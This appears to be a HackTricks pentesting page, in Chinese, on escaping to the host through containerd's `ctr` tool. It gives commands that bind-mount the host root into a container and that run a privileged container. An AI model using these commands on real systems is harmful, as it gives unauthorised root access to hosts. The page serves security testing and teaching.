# Containerd (ctr) Privilege Escalation

<details>

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## 基本信息

转到以下链接了解**containerd**和`ctr`是什么：

{% content-ref url="/pages/PugILuEQPS7Q7WGgDa0N" %}
[2375, 2376 Pentesting Docker](/network-services-pentesting/2375-pentesting-docker.md)
{% endcontent-ref %}

## PE 1

如果您发现主机包含`ctr`命令：

```bash
which ctr
/usr/bin/ctr
```

您可以列出图像：

```bash
ctr image list
REF                                  TYPE                                                 DIGEST                                                                  SIZE      PLATFORMS   LABELS
registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 -
registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 -
```

然后**运行其中一个镜像，将主机根文件夹挂载到其中**：

```bash
ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash
```

## PE 2

以特权模式运行容器并从中逃逸。\
您可以这样运行特权容器：

```bash
ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash
```

然后，您可以使用以下页面中提到的一些技术来滥用特权功能**逃离其中**：

{% content-ref url="/pages/zcVYraL309wKa4F2QNBc" %}
[Docker Security](/linux-hardening/privilege-escalation/docker-security.md)
{% endcontent-ref %}

<details>

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* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

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